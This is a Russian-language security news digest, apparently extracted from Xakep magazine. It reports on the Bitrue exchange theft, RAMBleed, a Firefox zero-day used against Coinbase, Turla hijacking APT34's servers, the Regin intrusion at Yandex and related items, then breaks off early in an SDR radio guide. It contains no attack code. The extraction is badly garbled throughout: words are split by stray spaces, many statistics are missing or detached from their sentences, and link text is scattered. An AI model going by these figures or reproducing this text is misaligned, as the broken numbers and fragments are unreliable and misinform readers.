го кошель ка син гапур ской крип товалют ной бир жи 9,3 мил лиона токенов Rip‐
ple (XRP) и 2,5 мил лиона токенов Cardano (ADA) общей сто имостью 4,25 мил‐ 
лиона дол ларов и 225 тысяч дол ларов соот ветс твен но.

Пос ле  обна руже ния  ата ки  тор ги  на  Bitrue  сра зу  же  были  прек ращены,
и  теперь  плат форма  вре мен но  не  работа ет.  Конеч но,  рас сле дова ние  инци‐ 
ден та еще далеко от завер шения, и прак тичес ки никаких под робнос тей опуб‐ 
ликова но не было, но, по пред варитель ным дан ным, в резуль тате ата ки пос‐ 
тра дали око ло 90 поль зовате лей.

Bitrue уже сот рудни чает с пра воох ранитель ными орга нами и пред ста вите‐ 
лями дру гих обменни ков (Bittrex, ChangeNOW и Huobi), ста раясь бло киро вать
укра ден ные  прес тупни ками  средс тва  и  помешать  день гам  окон чатель но
затерять ся.

Пред ста вите ли  бир жи  уве ряют,  что  сей час  ситу ация  уже  находит ся
под  пол ным  кон тро лем,  и  обе щают  всем  пос тра дав шим  воз местить  100%
потерян ных средств.

БАБ ЛО ВАЖ НЕЕ БЕЗОПАС НОСТИ
За щит ная фун кция ATS (App Transport Security) была пред став лена еще в 2015 году, с релизом
iOS  9,  и  дол жна  бло киро вать  все  небезо пас ные HTTP‐соеди нения меж ду  при ложе нием  и  его
уда лен ным  сер вером.  Изна чаль но  Apple  собира лась  сде лать  при мене ние  ATS  обя затель ным
для всех при ложе ний, одна ко в  кон це 2016  года отка залась от это го пла на, а исполь зование
ATS так и оста лось необя затель ным.

Как  показа ло  иссле дова ние  ком пании  Wandera,  теперь,  три  года  спус тя,  ATS  по‐преж нему
не поль зует ся популяр ностью у раз работ чиков.

Ана лити ки изу чили   при ложе ний для iOS и уста нови ли, что   из них отклю чают ATS
пол ностью.

30 000 67,8%

Лишь    при ложе ний  при меня ют  ATS  для  пос тоян ного  обес печения  зашиф рован ной  свя зи
и бло киров ки незашиф рован ных HTTP‐соеди нений.

27%

Еще око ло   при ложе ний исполь зуют ATS час тично, отклю чая фун кцию для опре делен ных
доменов.

5,3%

По мне нию иссле дова телей, такая нелюбовь раз работ чиков к ATS объ ясня ется весь ма прос то:
рек ламные плат формы и сети очень час то рекомен дуют в докумен тации отклю чать ATS внут ри
при ложе ний,  что бы  iOS  не  бло киро вала  связь  с  рек ламны ми  сер верами  в  слу чае  воз никно‐ 
вения оши бок.

По  ста тис тике,  ATS  чаще  исполь зует ся  в  плат ных  при ложе ниях  —  они  не  так  силь но  зависят
от  доходов  от  рек ламы,  и  у  раз работ чиков  нет  нуж ды  отклю чать  защиту  ради  собс твен ной
выгоды.

RASPBERRY PI 4
Раз работ чики  Raspberry  Pi  Foundation  офи циаль но  пред ста вили  чет вертое
поколе ние  одноплат ных  компь юте ров  Raspberry  Pi.  Теперь  мини атюр ные
«малин ки» ста ли еще мощ нее.

Ре лиз  Raspberry  Pi  4  сос тоял ся  сущес твен но  рань ше  зап ланиро ван ного
сро ка,  так  как  ком пания  Broadcom  сумела  край не  опе ратив но  запус тить
в про изводс тво чипы BCM2711, лежащие в сер дце нового гад жета.

По срав нению со ста рыми моделя ми Raspberry Pi 4 зна читель но изме нил‐ 
ся и обза вел ся сра зу нес коль кими замет ными нов шес тва ми. Основные тех‐ 
ничес кие харак терис тики нового одноплат ника таковы:

че тырехъ ядер ный  64‐бит ный  про цес сор  Cortex‐A72  с  под дер жкой
H.264 и H.265 и час тотой 1,5 ГГц;

•

опе ратив ная память LPDDR4 SDRAM объ емом 1, 2 или 4 Гбайт на выбор;•
два пор та micro‐HDMI с под дер жкой двух монито ров и 4K;•
VideoCore VI GPU с под дер жкой OpenGL ESx;•
под дер жка Bluetooth 5.0, два пор та USB 3.0 (в допол нение к двум USB 2.0)
и порт USB Type‐C, заменив ший micro‐USB;

•

пол ноцен ный  Ethernet  1  Гбит/с  (USB  боль ше  не  будет  «бутылоч ным  гор‐ 
лышком»), Wi‐Fi с под дер жкой 802.11ac.

•

Сто имость  новин ки  нап рямую  зависит  от  количес тва  памяти  на  бор ту.  Так,
вер сия с 1 Гбайт ОЗУ сто ит 35 дол ларов США, а вари ации с 2 и 4 Гбайт обой‐ 
дут ся в 45 или 55 дол ларов соот ветс твен но.

Раз работ чики  уве ряют,  что  по  про изво дитель нос ти  Raspberry  Pi  4  впол не
мож но  срав нить  с  деcкто пами  на  32‐бит ной  архи тек туре.  К  при меру,  спе‐ 
циалис ты Tom’s Hardware, уже про тес тировав шие новин ку в деле, пишут, что
мини атюр ный  компь ютер  без  тру да  справ ляет ся  с  такими  пов седнев ными
задача ми,  как работа с GIMP, Libre Office, и может без  тру да откры вать пят‐ 
надцать вкла док в Chromium‐бра узе рах.

СА МЫЙ СЕРЬ ЕЗНЫЙ ПРО МАХ БИЛ ЛА ГЕЙ ТСА
YouTube‐канал  Village  Global  опуб ликовал  боль шое  интервью  с  Бил лом  Гей тсом.  Во  вре мя
беседы тот рас ска зал, что одним из сво их самых серь езных про махов счи тает упу щен ную Mi‐
crosoft воз можность на рын ке мобиль ных ОС.

→ «Мир прог рам мно го обес печения (осо бен но если речь идет о плат формах) — это рын ки, где
победи тель забира ет все. Поэто му величай шая ошиб ка, ког да‐либо допущен ная из‐за пло хого
управле ния, в которое я был вов лечен, — это тот факт, что Microsoft не ста ла тем, чем сей час
явля ется Android. То есть Android — это стан дар тная плат форма для телефо нов, помимо Apple.
Этот [рынок] мог ла бы естес твен ным путем заво евать Microsoft.

По нима ете,  в  дан ном  слу чае  победи тель  дей стви тель но  забира ет  все.  Если  у  вас  есть
вдвое мень ше при ложе ний, вы находи тесь на пороге пол ного кра ха. На рын ке есть мес то лишь
для одной опе раци онной сис темы, помимо Apple. Сколь ко это сто ит? Поряд ка 400 мил лиар дов,
которые мог ли бы перей ти от ком пании G к ком пании M»
— Билл Гей тс

RAMBLEED
Свод ная  груп па  уче ных  из США, Авс тра лии  и  Авс трии опуб ликова ла  док лад
о  новой  вари ации  ата ки  на  проб лему  Rowhammer. Методи ка  получи ла  наз‐ 
вание RAMBleed (CVE‐2019‐0174), и от пре дыду щих вер сий ее отли чает опас‐ 
ная  осо бен ность:  ата ку  мож но  исполь зовать  для  кра жи  дан ных  с  целево го
устрой ства, а не толь ко для изме нения сущес тву ющих дан ных или повыше ния
при виле гий.

На пом ню, что ори гиналь ную ата ку Rowhammer еще в 2014 году при дума ли
иссле дова тели  из  уни вер ситета  Кар неги  —  Мел лона.  Ее  суть  сво дилась
к тому, что в резуль тате опре делен ного воз дей ствия на ячей ки памяти элек‐ 
тро маг нитное  излу чение  может  пов лиять  на  сосед ние  ячей ки  и  зна чения
битов в них изме нят ся.

За  про шед шие  с  тех  пор  годы  иссле дова тели  успе ли  доказать,  что
перед Rowhammer может быть уяз вима память DDR3 и DDR4, а  так же ата ку
научи лись  экс плу ати ровать  через  JavaScript  и  успе ли  прис пособить  про тив
Microsoft  Edge  и  вир туаль ных  машин  Linux.  Сущес тву ет  даже  вари ация
Rowhammer,  пред став ляющая  опас ность  для  устрой ств  на  Android,
а эффектив ность атак научи лись повышать при помощи виде окарт.

Как уже было ска зано выше, RAMBleed отли чает ся от дру гих — ата ка поз‐ 
воля ет  похитить  информа цию  из  RAM,  перене ся  дан ные  из  защищен ной
области памяти в ячей ки, дос тупные с обыч ными пра вами.

Что бы добить ся это го, спе циалис ты исполь зовали ком бинацию сра зу нес‐ 
коль ких проб лем и тех ник, вклю чая: зло упот ребле ние buddy allocator в Linux;
соз дание  механиз ма  Frame  Feng  Shui,  который  помеща ет  стра ницы  прог‐ 
раммы‐жер твы в нуж ную область памяти; соз дание нового метода упо рядо‐ 
чива ния дан ных в памяти и «прос тукива ния» (row hammering) рядов для опре‐ 
деле ния того, какие имен но дан ные рас положе ны в сосед них ячей ках.

Ин терес но и то, что от RAMBleed не спа сает даже ECC‐защита. Напом ню, что
ECC‐память  авто мати чес ки  рас позна ет  и  исправ ляет  спон танно  воз никшие
изме нения  (ошиб ки)  битов,  то  есть  защища ет  от  раз личных  вари аций
Rowhammer.  Нуж но  ска зать,  что  исходно  ECC‐память  соз давалась  не  как
защита от Rowhammer. В 1990‐е  годы ее раз работ чиков боль ше вол новало
воз можное  вли яние  на биты  аль фа‐час тиц,  ней тро нов  и  подоб ного. Одна ко
до  недав него  вре мени  счи талось,  что  от  атак  Rowhammer  ECC  защища ет
ничуть не хуже.

Ис сле дова тели пояс няют: в слу чае исполь зования RAMBleed ата кующе му
дос таточ но знать, что бит на стра нице перевер нулся, а потом был исправ лен.
Зло умыш ленник все рав но может узнать, какие биты были исправ лены, опре‐ 
делить  зна чение,  из  которо го  или  к  которо му  они  были  исправ лены,  и  все
это никак не помеша ет про веде нию ата ки.

Эк спер ты уже уве доми ли о новом век торе Rowhammer‐атак инже неров In‐
tel,  AMD, OpenSSH, Microsoft,  Apple  и  Red Hat.  Хотя DDR3  и DDR4  уяз вимы
перед новой ата кой, спе циалис ты все же совету ют поль зовате лям выбирать
DDR4  с  TRR,  так  как  экс плу ати ровать  проб лему  в  таком  слу чае  ста новит ся
весь ма труд но.

КРУП НОЕ ОБНОВЛЕ НИЕ VLC

Ре лиз   стал самым круп ным обновле нием безопас ности за всю исто рию популяр ного
пле ера. И все бла года ря прог рамме поис ка уяз вимос тей Free and Open Source Software Audit
(FOSSA), которую спон сиру ют влас ти ЕС.

VLC 3.0.7

Гла ва VideoLan и один из ведущих раз работ чиков VLC Media Player Жан‐Батист Кемпф (Jean‐
Baptiste Kempf) рас ска зал, что бла года ря работе иссле дова телей и вып латам FOSSA релиз VLC
3.0.7 получил ся осо бен ным.

В общей слож ности в этом выпус ке было исправ лено   уяз вимос ти. Две проб лемы получи ли
ста тус  высоко опас ных,    баг  оце нива ется  как  сред ний,  и  еще    уяз вимос тей  счи тают ся
мало опас ными.
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На ибо лее  резуль татив ным  из  всех  иссле дова телей  стал  поль зователь  под  ником  ele7enxxh,
который нашел в популяр ном пле ере сра зу   багов на общую сум му  .13 13 265 дол ларов
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ОПАСНЫЕ ДЫРЫ
FIREFOX
В  двад цатых  чис лах  июня  инже неры Mozilla  выпус тили  обновлен ные  вер сии
Firefox 67.0.3 и Firefox ESR 60.7.1,  устра нив в бра узе ре  уяз вимость нулево го
дня CVE‐2019‐11707, которая уже находи лась под ата ками. Баг получил ста тус
кри тичес кого,  так  как  поз волял  выпол нить  про изволь ный  код  на  машинах
с  уяз вимыми  вер сиями  Firefox.  Уяз вимость  была  обна руже на  экспер том
Google Project Zero Сэмю элем Грос сом и коман дой Coinbase Security.

Но  вско ре  выяс нилось,  что  уяз вимос тей  было  сра зу  две,  их  объ еди нили
и  исполь зовали  для  атак  на  сот рудни ков  Coinbase,  а  не  на  прос тых  поль‐ 
зовате лей.

Спе циалист по безопас ности Coinbase Филип Мар тин  (Philip Martin) рас‐ 
ска зал в Twitter,  что 17 июня инже неры Coinbase обна ружи ли и бло киро вали
попыт ку ата ки на сво их сот рудни ков. Неиз вес тные зло умыш ленни ки при бег ли
к упо мяну той 0day‐уяз вимос ти в Firefox в сочета нии с еще одной проб лемой
нулево го дня, поз воляв шей осу щес твить побег из песоч ницы.

Ин терес но,  что  спе циалист  Google  Project  Zero  Сэмю эль  Гросс  исходно
обна ружил  уяз вимость  CVE‐2019‐11707  еще  15  апре ля  2019  года,  о  чем
и  пос пешил  уве домить  раз работ чиков  через  Bugzilla.  Как  Гросс  объ яснил
теперь,  уяз вимость  поз воляла  уда лен ному  ата кующе му  выпол нить  про‐ 
изволь ный код в бра узе ре жер твы, но для даль нейше го раз вития ата ки  тре‐ 
бова лась еще одна уяз вимость, поз воля ющая сбе жать из песоч ницы и запус‐ 
тить код на уров не ОС.

Не  сов сем  ясно,  каким обра зом ата ковав шие Coinbase  зло умыш ленни ки
узна ли об этой RCE‐уяз вимос ти и успе ли вос поль зовать ся ей до выхода пат‐ 
чей. Здесь воз можно нес коль ко сце нари ев:

ата кующие обна ружи ли ту же самую уяз вимость самос тоятель но;•
ата кующие получи ли дос туп к баг тре керу Mozilla;•
ата кующие взло мали учет ную запись сот рудни ка Mozilla и получи ли дос туп
к нуж ному раз делу Bugzilla;

•

ата кующие взло мали сам пор тал Bugzilla (подоб ное уже  ).• слу чалось

В Coinbase под чер кну ли,  что  замечен ные ата ки не были нап равле ны про тив
поль зовате лей,  одна ко  экспер ты  опа сают ся,  что  дру гие  орга низа ции,  так
или ина че свя зан ные с крип товалю тами, тоже могут стать мишеня ми дан ной
прес тупной груп пы.

Так,  по сло вам Филипа Мар тина,  зло умыш ленни ки могут рас простра нять
фишин говые пись ма, замани вая сво их жертв на спе циаль ные веб‐стра ницы.
Если  жер тва  исполь зует  Firefox,  такая  стра ница  будет  спо соб на  похитить
пароли  из  бра узе ра  и  дру гие  дан ные.  Под черки вает ся,  что  ата ки  нацеле ны
на поль зовате лей как Mac, так и Windows и для каж дой ОС исполь зует ся раз‐ 
ная мал варь.

Изу чив инди като ры ком про мета ции, обна родо ван ные Мар тином, Ник Карр
(Nick  Carr)  из  ком пании  FireEye  ,  что  те  соот ветс тву ют  активнос ти,
которую  экспер ты  FireEye  наб людали  в  пери од  меж ду  2017  и  2019  годами.
Тог да ата ки тоже были нап равле ны на финан совые учрежде ния и бир жи крип‐ 
товалют.

за метил

В  свою  оче редь,  эксперт  по  безопас ности macOS Пат рик  Вордл  (Patrick
Wardle)  уже  опуб ликовал    вре доно са,  пред назна чен ного
для  Mac  и  рас простра няв шегося  с  помощью  проб лемы  CVE‐2019‐11707.
Вордл  получил  обра зец  по  поч те  от  челове ка,  который  утвер ждал,  что  его
пол ностью  обновлен ный  Mac  под вер гся  ата ке  через  уяз вимость  в  Firefox.
При чем  пос тра дав ший  писал,  что  до  недав него  вре мени  он  был  свя зан
с обме ном крип товалю ты.

де таль ный  ана лиз

Ис сле дова тель  отме чает,  что  изу чен ная  им  мал варь  весь ма  похожа
на  ста рый  вре донос  OSX.Netwire  (Wirenet),  пред назна чен ный  для  хищения
паролей из Linux и OS X. Это может озна чать, что за соз дани ем вре доно сов
сто ит один и тот же человек или груп па зло умыш ленни ков. Хуже того, Вордл
обна ружил,  что  новой  мал вари  уда ется  обма нуть  защиту  XProtect
и Gatekeeper.

Еще один ана лиз   незави симым ИБ‐экспер том Витали ем
Кре мезом  (Vitali  Kremez),  который  про ана лизи ровал  обе  полез ные  наг рузки
(для macOS и Windows), рас простра няв шиеся с помощью экс пло ита для Fire‐
fox.  Иссле дова тель  обна ружил  в  све жих  ата ках  некото рые  парал лели  с  экс‐ 
плу ата цией  , что была най дена и исправ лена
вес ной текуще го года.

был опуб ликован

уяз вимос ти нулево го дня WinRAR

МАЛ ВАРЬ ПОД ВИДОМ ИГР
Ана лити ки «Лабора тории Кас пер ско го» соб рали ста тис тику о вре донос ных кам пани ях, нацелен‐ 
ных  на  гей меров.  Как  ока залось,  с  мая  по  осен ний  пери од  обыч но  наб люда ется  всплеск
фишин говой активнос ти через ведущие игро вые плат формы.

Фи шин говые  ата ки,  нацелен ные  на  гей меров,  обыч но  свя заны  с  круп ными  игро выми  плат‐ 
форма ми  и  изда тель ски ми  брен дами.  Так,  фишеры  час то  под делыва ют  брен ды  ,

 и  .
EA Origin

Blizzard Battle.net Steam

Ес ли  в  2018  году  на  игро ков  совер шались  при мер но  по    атак  в  день,  то  пос ле  16  нояб‐ 
ря 2018 года ежед невные циф ры регуляр но дос тига ют   и   атак.
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В слу чае EA  (Electronic Arts) пиковое количес тво ежед невных атак на поль зовате лей уве личи‐ 
лось при мер но на   по срав нению с 2018 годом.треть

Поль зовате лей Steam ата куют еще чаще. Во вто рой полови не 2018 года экспер ты фик сирова ли
более   атак в сут ки, а к 2019 году это чис ло воз росло до   атак в день.1000 2000

В 2019 году рекор дное количес тво ата кован ных за один день поль зовате лей Steam сос тавило
 челове ка, тог да как мак симум 2018 года рав нялся  .6383 4157

С июня 2018 года по июнь 2019 года   поль зовате ля пос тра дали от атак, нап равлен ных
на рас простра нение вре донос ных прог рамм под видом пират ских игр.

932 464

Ли дером в спис ке  таких зло упот ребле ний стал  . Вре донос ные прог раммы,  замас‐ 
кирован ные  под  эту  игру,  сос тавля ют  око ло    от  обще го  чис ла,  и  они  зат ронули  более

 поль зовате лей.

Minecraft
30%

310 000

На  вто ром  и  треть ем  мес тах  ока зались    (более    поль зовате лей)  и  Sims
4 с   пос тра дав ших.

GTA 5 112  000
105 000

От лично  работа ет  и  схе ма  рас простра нения  мал вари  под  видом  еще  не  вышед ших  игр.  Так,
 таких вре донос ных прог рамм пря тались под мас ками фей ковых  , 

 и  .
80% FIFA 20 Elder Scrolls
6 Borderlands 3

ЖАБЫ ПРОТИВ
ГАДЮК
Эк спер ты  Symantec  зафик сирова ли  инте рес ный  слу чай:  рус ско языч ная
хакер ская груп па Turla (она же Waterbug, Snake, WhiteBear, VENOMOUS BEAR
и Kypton), извес тная ИБ‐спе циалис там уже дав но, взло мала дру гую небезыз‐ 
вес тную хак‐груп пу, иран скую APT34 (она же Oilrig, HelixKitten и Crambus).

На пом ню,  что  пер вое  офи циаль ное  упо мина ние  Turla  датиро‐ 
вано 2008 годом и свя зано со взло мом Минис терс тва обо роны США. Кро ме
того,  ИБ‐спе циалис ты    Turla  в  ата ках  20‐лет ней  дав‐ 
ности.  Впос ледс твии  с  груп пой  свя зыва ли  мно гочис ленные  инци ден ты
информа цион ной  безопас ности  —  зах ват  спут никовых  каналов  свя зи
для  мас киров ки  сво ей  деятель нос ти,  ата ки  на  орга ны  государс твен ного
управле ния и стра теги чес кие отрасли, вклю чая обо рон ную про мыш ленность.

об наружи вали  сле ды

Пос ледние восем надцать месяцев экспер ты Symantec наб людали за тре‐ 
мя  кам пани ями  Turla  (Symantec  называ ет  груп пиров ку  Waterbug).  Так,
с  начала  2018  года  Turla  ата кова ла  три над цать  орга низа ций  в  десяти  раз‐ 
личных стра нах, вклю чая минис терс тва инос тран ных дел в стра нах Латин ской
Аме рики, Ближ него Вос тока и Евро пы, минис терс тво внут ренних дел в Южной
Азии, две пра витель ствен ные орга низа ции на Ближ нем Вос токе и в Юго‐Вос‐ 
точной  Азии,  а  так же  пра витель ствен ное  учрежде ние  неназ ванной  стра ны
в Южной Азии, базиру ющееся в дру гой стра не.

В  одном  из  этих  слу чаев  ана лити ки  обна ружи ли  доказа тель ства  того,  что
в нояб ре 2017 года Turla взло мала инфраструк туру иран ской APT34. В ито ге
сер веры «кон курен тов» исполь зовались для рас простра нения мал вари сре ди
сис тем, ранее заражен ных вре доно сами Oilrig.

Так,  пер вое  сви детель ство  активнос ти  Turla  было  замече но  11  янва‐ 
ря 2018 года, ког да инс тру мент Turla (пла ниров щик задач msfgi.exe) был заг‐ 
ружен на компь ютер в сети жер твы. На сле дующий день, 12 янва ря 2018 года,
Turla  вновь  исполь зовала  сеть  APT34,  заг рузив  допол нитель ную  мал варь
на дру гие  компь юте ры, ранее ском про мети рован ные APT34, рас простра няя
инс тру мент  для  кра жи  учет ных  дан ных  Mimikatz.  По  информа ции  Symantec,
целью груп пиров ки ста ли влас ти неназ ванной стра ны Ближ него Вос тока.

При этом иссле дова тели отме чают, что Oilrig, похоже, никак не отре аги рова ли
на  взлом  сво ей  инфраструк туры,  хотя  иран ская  APT  оста валась  активной
в  сети  пра витель ствен ного  учрежде ния  до  кон ца  2018  года,  исполь зуя
для  это го  дру гую  управля ющую инфраструк туру. При  этом  при сутс твие  Turla
в той же сети тоже сох ранялось как минимум до сен тября 2018 года.

СА МЫЕ ПЛО ХИЕ PIN‐КОДЫ

Ана лити ки  ком пании Splunk опуб ликова ли  спи сок PIN‐кодов,  которые  чаще все го исполь зуют
для защиты смар тфо нов. Экспер ты пре дуп режда ют, что поряд ка   всех смар тфо нов мож но
взло мать, исполь зуя сос тавлен ный ими спи сок PIN‐кодов, и про сят поль зовате лей ответс твен‐ 
нее под ходить к их выбору.

26%

Са мым рас простра нен ным кодом для раз бло киров ки и под твержде ния дей ствий на смар тфо не
ока зал ся  . За ним сле дуют  ,   и  . Про цент их исполь зования сос тавля ет  ,

,   и  .
1234 1111 0000 1212 11%

6% 2% 1%
Пол ный спи сок топ‐20 выг лядит сле дующим обра зом:
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ЗАПАДНЫЕ
СПЕЦСЛУЖБЫ
ВЗЛОМАЛИ ЯНДЕКС
Жур налис ты  Reuters  опуб ликова ли  экс клю зив ный  матери ал,  в  котором  ссы‐ 
лают ся на четыре собс твен ных ано ним ных источни ка и рас ска зыва ют о ком‐ 
про мета ции ком пании Яндекс, про изо шед шей осенью 2018 года.

По  дан ным  Reuters,  в  октябре‐нояб ре  2018  года  ком пания  Яндекс  была
зараже на мал варью  ,  извес тной ИБ‐экспер там с  2014  года. Напом ню,
что еще пять  лет  назад изда ние The  Intercept  про вело собс твен ное рас сле‐ 
дова ние  и  приш ло  к  выводу,  что  Regin  исполь зовал ся  раз ведыва тель ными
агентства ми США и Великоб ритании.

Regin

Те перь  и  источни ки Reuters  акценти руют  вни мание  на  том,  что  этот  вре‐ 
донос исполь зует ся пред ста вите лями аль янса Five Eyes, который объ еди няет
спец служ бы  Авс тра лии,  Канады,  Новой  Зелан дии,  США  и  Великоб ритании.
Но точ но опре делить, какая из пяти стран мог ла сто ять за ата кой на Яндекс,
по сло вам жур налис тов, не пред став ляет ся воз можным. По дан ным источни‐ 
ков агентства, хакеры тай но оста вались в сети Яндекса в течение нес коль ких
недель.

Со обща ется,  что  неиз вес тные  хакеры,  похоже,  были  нацеле ны  на  шпи‐ 
онаж, а не на кра жу интеллек туаль ной собс твен ности. Так, судя по все му, зло‐ 
умыш ленни ки  ском про мети рова ли  R&D‐под разде ление  ком пании  и  иска ли
тех ничес кую  информа цию,  свя зан ную  с  механиз мами  аутен тифика ции,
которые  исполь зуют ся  для  поль зовате лей  Яндекса.  Эти  дан ные  в  даль‐ 
нейшем  мог ли  помочь  взлом щикам  выдать  себя  за  поль зовате ля  Яндекса
и получить дос туп к лич ным сооб щени ям.

Пред ста вите ли Яндекса уже отре аги рова ли на пуб ликацию Reuters и под‐ 
твер дили, что ата ка дей стви тель но име ла мес то.

«Яндекс,  как и все круп ные интернет‑ком пании, регуляр но стал кива- 
ется  с  раз нооб разны ми  видами  киберуг роз.  Наша  кор поратив ная
полити ка не под разуме вает рас простра нения под робной информа ции
о подоб ных слу чаях. 
Эту  попыт ку  ата ки  наши  спе циалис ты  сво евре мен но  выяви ли  и  ней- 
тра лизо вали  в  самом  начале.  Бла года ря  чему  попыт ка  ата ки  была
пре дот вра щена до при чине ния какого‑либо ущер ба. Можем заверить,
что зло умыш ленни ки не смог ли получить дос туп к дан ным поль зовате- 
лей сер висов Яндекса», — гла сит пресс‑релиз ком пании.

ДРУ ГИЕ ИНТЕ РЕС НЫЕ СОБЫТИЯ МЕСЯЦА

Эк спер ты наш ли ряд проб лем в магази не игр Origin, раз работан ном Electronic Arts. Баги угро‐ 
жали 300 мил лионам гей меров

У мал вари BrickerBot, намерен но калечив шей  IoT‐устрой ства, появил ся дос той ный пос ледова‐ 
тель: Silex умыш ленно пов режда ет IoT‐устрой ства

Ког да соци аль ная сеть MySpace была в зените сла вы, ее сот рудни ки сле дили за поль зовате‐ 
лями через инс тру мент Overlord

Аудит выявил взлом НАСА через неав торизо ван ный Raspberry Pi

Мил лионы компь юте ров Dell под верга лись рис ку из‐за бага в ути лите SupportAssist

Не кото рые устрой ства YubiKey FIPS приз наны ненадеж ными из‐за бага

Chrome  будет  пре дуп реждать  об  опас ных URL  и  обза ведет ся  защит ным  рас ширени ем Suspi‐
cious Site Reporter

В Microsoft Store про дают ся кло ны бес плат ных при ложе ний с откры тым кодом

Иран ские хакеры ата куют при ложе ния для сек вениро вания ДНК

Ха керы похити ли записи груп пы Radiohead и тре бова ли выкуп

https://xakep.ru/2015/09/18/bugzilla-email-bug/
https://twitter.com/ItsReallyNick/status/1141517097991835648
https://objective-see.com/blog/blog_0x43.html
https://github.com/k-vitali/Malware-Misc-RE/blob/master/2019-06-19-possible-linked-firefox-0day-iocs-vk.txt
https://xakep.ru/2019/03/15/winrar-exploits/
https://xakep.ru/2017/04/04/moonlight-maze-is-turla/
https://xakep.ru/2014/11/26/regin/
https://xakep.ru/2019/06/27/ea-flaws/
https://xakep.ru/2019/06/26/silex/
https://xakep.ru/2019/06/25/myspace-overlord/
https://xakep.ru/2019/06/24/nasa-raspberry-pi/
https://xakep.ru/2019/06/24/supportassist/
https://xakep.ru/2019/06/14/yubikey-fips/
https://xakep.ru/2019/06/19/suspicious-site-reporter/
https://xakep.ru/2019/06/19/microsoft-store-fake-apps/
https://xakep.ru/2019/06/17/dnalims-attacks/
https://xakep.ru/2019/06/13/radiohead-hacked/
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Ес ли  при  сло ве  «радио»  тебе  вспо мина ется  толь ко  ста рый
дедуш кин «Грюн диг» или «Оке ан», то это очень узкий взгляд
на  вещи.  Мы  живем  во  вре мя  бес про вод ных  устрой ств,
интерне та вещей, 5G и про чих инте рес ных штук. Все боль ше
информа ции  переда ется  «по  воз духу»,  поэто му  хороший
спе циалист дол жен раз бирать ся в ради опро токо лах. Я рас‐ 
ска жу,  как  при нимать  сиг нал,  где его искать и  как  ана лизи‐ 
ровать.

ЧТО ПЕРЕДАЕТСЯ ПО РАДИО
Для  начала  нуж но  понять,  что  и  где  мож но  най ти  в  ради оэфи ре.  Спи сок
обширный:  от  изоб ражений  с  мете оспутни ков  до  команд  для  атом ных  под‐ 
водных лодок.

INFO

Ку пить  широко полос ный  ради опри емник  USB
мож но на eBay все го лишь за 30 дол ларов с бес‐ 
плат ной поч товой дос тавкой. Ищи по сло вам RTL‐
SDR  V3.  Он  поз воля ет  при нимать  и  записы вать
прак тичес ки  любые  ради осиг налы  в  диапа зоне
от 24 до 1700 МГц, и это го более чем дос таточ но
для боль шинс тва экспе римен тов.

Еще в Пер вую мировую вой ну было извес тно, что передан ные ради осиг налы
могут  быть  при няты  кем  угод но.  Так  что  все  дей стви тель но  важ ное  переда‐ 
ется зашиф рован ным, и не сто ит наде ять ся вклю чить радио и узнать сек реты
Пен тагона. Но кое‐что инте рес ное най ти все же мож но.

Прой дем ся по час тотам.
• Свер хниз кие час тоты до 30 кГц: связь с под водны ми лод ками. Ради овол ны
такой  низ кой  час тоты  спо соб ны  про никать  даже  в  глу бину  оке ана,  что,
разуме ется,  исполь зует ся  воен ными.    работа ет  на  час‐ 
тоте  82  Гц,  ана логич ная  аме рикан ская    —  на  час‐ 
тоте 76 Гц. Дли на вол ны такой переда чи сопос тавима с ради усом Зем ли,
а КПД антенны сос тавля ет  тысяч ные доли про цен та. В нее нуж но подать
чуть ли не мегаватт, что бы на выходе получить один ватт. Чуть выше по час‐ 
тоте,  при мер но  на  14  кГц мож но  най ти  сиг налы  навига цион ной 

.  При нять  эти  сиг налы  может  каж дый,  если  пос тавить  антенну
на  кры шу  или  отъ ехать  подаль ше  от  города,  где  нет  помех. 
мож но най ти видео энту зиас тов.

Сис тема  «Зевс»
сис тема  Seafarer

сис темы
«Аль фа»

На  YouTube

• На  час тоте  77  кГц  переда ются  сиг налы  точ ного  вре мени  из  Гер мании.
,  наибо лее  популяр ная  в  Евро пе,  поз воля ет  син хро низи‐ 

ровать ся  нас толь ным  и  даже  некото рым  наруч ным  часам.  Если  на  часах
есть логотип Atomic Clock или Radio Controller, они могут при нимать такой
сиг нал.

Сис тема DCF77

• Длин ные  вол ны — 400  кГц —  заняты  сиг налами  так  называ емых ПРМ —
при вод ных ради омаяков  (в  англий ской  литера туре NDB — non directional
beacon). В каж дом самоле те есть ради оком пас, который показы вает нап‐ 
равле ние на выб ранный аэро порт.

• На сред них и корот ких вол нах (от 2 до 20 МГц) переда ются мете опрогно зы
для судов и мете офак сы, телемет рия раз ных устрой ств; работа ют воен ные
модемы STANAG, загори зон тные радары и мно гое дру гое. Мно гое из это‐ 
го мож но при нять на хороший корот ковол новый при емник.

• На так называ емом диапа зоне Си‐Би (Citizen Band) 27 МГц работа ют так‐ 
систы и даль нобой щики.

• На час тотах от 30 до 40 МГц рань ше работа ли домаш ние ради оте лефо ны,
сей час  их  уже  прак тичес ки  не  оста лось.  Боль шая  труб ка  с  длин ной
антенной из  ста рых филь мов — это оно. Вла дель цы обыч но  и  не  подоз‐ 
ревали, что любой жела ющий может слы шать их раз говор, никако го шиф‐ 
рования в этих телефо нах не было.

• На час тотах от 88 до 108 МГц зву чит всем извес тное FM‐радио. Ради оин‐ 
женеры называ ют его WFM (Wide FM, в отли чие от узко полос ной FM пор‐ 
татив ных  ради останций).  Чуть  ниже  переда вал ся  так  называ емый  совет‐ 
ский УКВ, сей час эти стан ции тоже прак тичес ки вез де зак рыты.

• На час тотах от 118 до 137 МГц работа ют ави ато ры. Перего воры лет чиков
с  дис петче рами  и  меж ду  самоле тами,  нап ример  на  воз душном  параде,
переда ются в откры том и незашиф рован ном виде.

• На час тоте 137 МГц работа ют мете оспутни ки NOAA. Ты можешь при нять их
сиг нал  и  декоди ровать  кар тинку  вида  Зем ли  из  кос моса,  толь ко  нуж но
знать вре мя, ког да спут ник про лета ет над тво ей головой. Энту зиас ты и тут
пре успе ли и выложи ли это  .на YouTube

• На час тотах в диапа зоне 140–200 МГц и 400–500 МГц — раз ные служ бы
и  сер висы:  ГИБДД,  пожар ные,  ско рая,  лиф теры,  гас тарбай теры.  Диапа‐ 
зон  433  МГц  выделен  для  пор татив ных  ради останций,  которые  ты,  воз‐ 
можно, видел в про даже. Рядом по час тоте работа ют и пор татив ные ради‐ 
оус трой ства, к которым мы еще вер немся.

• Рань ше на час тоте 165 МГц работа ли пей дже ры — устрой ства для при ема
тек сто вых  сооб щений,  и  все  их  сооб щения для  або нен тов  переда вались
в откры том виде, дос тупном для декоди рова ния. Сей час в Рос сии пей дже‐ 
